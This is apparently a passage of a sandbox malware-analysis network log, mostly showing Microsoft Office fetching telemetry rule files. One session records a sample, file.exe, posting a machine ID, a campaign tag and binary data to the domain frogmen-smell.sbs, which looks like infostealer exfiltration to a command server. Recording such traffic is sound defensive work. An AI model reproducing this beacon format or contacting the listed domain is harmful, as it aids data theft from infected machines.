T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.6	49763	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:25 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:25 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:25 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: f331b8e7-a01e-0070-470c-36573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162425Z-1749fc9bdbds4vwlhC1DFWz44000000002qg00000000a94x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:25 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.6	49764	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:25 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:25 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:25 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 84ac84b3-801e-0078-19a1-34bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162425Z-r178fb8d7657w5c5hC1DFW5ngg00000002y0000000005tm3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:25 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.6	49765	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:25 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:26 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:25 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: cd5b73c9-701e-0098-1e09-2d395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162425Z-16547b76f7f4k79zhC1DFWu9y00000000kz0000000008eeh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:26 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.6	49767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:26 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:26 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:26 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 29e284b5-001e-0065-5703-2d0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162426Z-16547b76f7ftdm8dhC1DFWs13g0000000kv000000000fx4y x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:26 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.6	49766	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:26 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:26 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:26 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: d6bc25f6-801e-00a0-4c08-362196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162426Z-1749fc9bdbdht5mthC1DFWph9000000002t000000000phcg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:26 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.6	49768	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:26 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:26 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:26 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 28b142bf-301e-0000-3ca7-34eecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162426Z-1749fc9bdbds4vwlhC1DFWz44000000002mg00000000n5hh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:26 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.6	49769	172.67.174.133	443	5788	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:26 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=H43ONER2W6XNB42 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19951 Host: frogmen-smell.sbs
2024-11-14 16:24:26 UTC	15331	OUT	Data Raw: 2d 2d 48 34 33 4f 4e 45 52 32 57 36 58 4e 42 34 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 37 45 35 33 30 34 45 44 37 32 35 39 45 33 36 45 38 45 30 42 45 41 31 34 45 35 33 34 33 37 38 0d 0a 2d 2d 48 34 33 4f 4e 45 52 32 57 36 58 4e 42 34 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 48 34 33 4f 4e 45 52 32 57 36 58 4e 42 34 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d Data Ascii: --H43ONER2W6XNB42Content-Disposition: form-data; name="hwid"E7E5304ED7259E36E8E0BEA14E534378--H43ONER2W6XNB42Content-Disposition: form-data; name="pid"3--H43ONER2W6XNB42Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic-
2024-11-14 16:24:26 UTC	4620	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 e3 5f de a8 de f8 f4 8d d8 f5 6f 86 49 00 Data Ascii: +?2+?2+?o?Mp5p_oI
2024-11-14 16:24:27 UTC	1016	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=a0e0e454krhvuvb5dvdbl306b0; expires=Mon, 10-Mar-2025 10:11:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7f9brzEWSzCNN5dL9E3uSiM7S2Oa6jS22wCiyuLGqST4tlo7M9duH1a6OHEtObt5PhmQ4vOCsvnB4BB73l2D0dCxc7dnB8sTCFQ7dS6NCI%2BPgwo1a65XBZvbTsly7%2FyrAs47Ag%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e285a0ebd587b15-DEN alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=18797&sent=15&recv=29&lost=0&retrans=0&sent_bytes=2845&recv_bytes=20911&delivery_rate=154502&cwnd=32&unsent_bytes=0&cid=753b84fef0de771f&ts=579&x=0"
2024-11-14 16:24:27 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 39 31 0d 0a Data Ascii: 11ok 173.254.250.91
2024-11-14 16:24:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.6	49770	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:26 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:26 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:26 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 06fd63be-801e-008f-5e01-2d2c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162426Z-16547b76f7fdtmzhhC1DFW6zhc00000007sg00000000euv1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:26 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.6	49771	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:26 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:26 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:26 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: ba8c429a-801e-0047-0ea2-347265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162426Z-r178fb8d765d5f82hC1DFWsrm800000002x0000000009btd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:26 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.6	49773	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:27 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:27 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:27 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 52d88e03-c01e-007a-7b0b-2db877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162427Z-16547b76f7f7scqbhC1DFW0m5w0000000kqg00000000ndfa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-14 16:24:27 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.6	49772	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:27 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:27 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:27 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 1572e0e4-b01e-003e-1a0c-2d8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162427Z-16547b76f7fvllnfhC1DFWxkg80000000kwg00000000mk3t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:27 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 